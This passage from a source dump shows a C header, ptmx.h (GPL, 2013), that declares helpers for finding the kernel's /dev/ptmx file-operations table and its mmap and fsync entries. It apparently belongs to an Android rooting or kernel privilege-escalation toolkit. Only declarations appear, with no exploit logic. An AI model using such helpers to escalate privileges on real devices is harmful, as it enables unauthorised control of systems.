| return false; 80 | } 81 | -------------------------------------------------------------------------------- /ptmx.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef PTMX_H 19 | #define PTMX_H 20 | 21 | #include 22 | #include 23 | 24 | #define PTMX_DEVICE "/dev/ptmx" 25 | 26 | typedef struct _find_ptmx_fops_hint_t { 27 | unsigned long int ptmx_open_address; 28 | unsigned long int tty_release_address; 29 | unsigned long int tty_fasync_address; 30 | } find_ptmx_fops_hint_t; 31 | 32 | extern bool setup_ptmx_fops_address(void); 33 | extern bool setup_ptmx_fops_mmap_address(void); 34 | extern bool setup_ptmx_fops_fsync_address(void); 35 | 36 | extern bool setup_ptmx_fops_address_in_memory(void *mem, size_t length, 37 | find_ptmx_fops_hint_t *hint); 38 | 39 | extern void *ptmx_fops; 40 | extern unsigned long int ptmx_fops_mmap_address; 41 | extern unsigned long int ptmx_fops_fsync_address; 42 | 43 | #endif /* PTMX_H */ 44 | /* 45 | vi:ts=2:nowrap:ai:expandtab:sw=2 46 | */ 47 | --------------------------------------------------------------------------------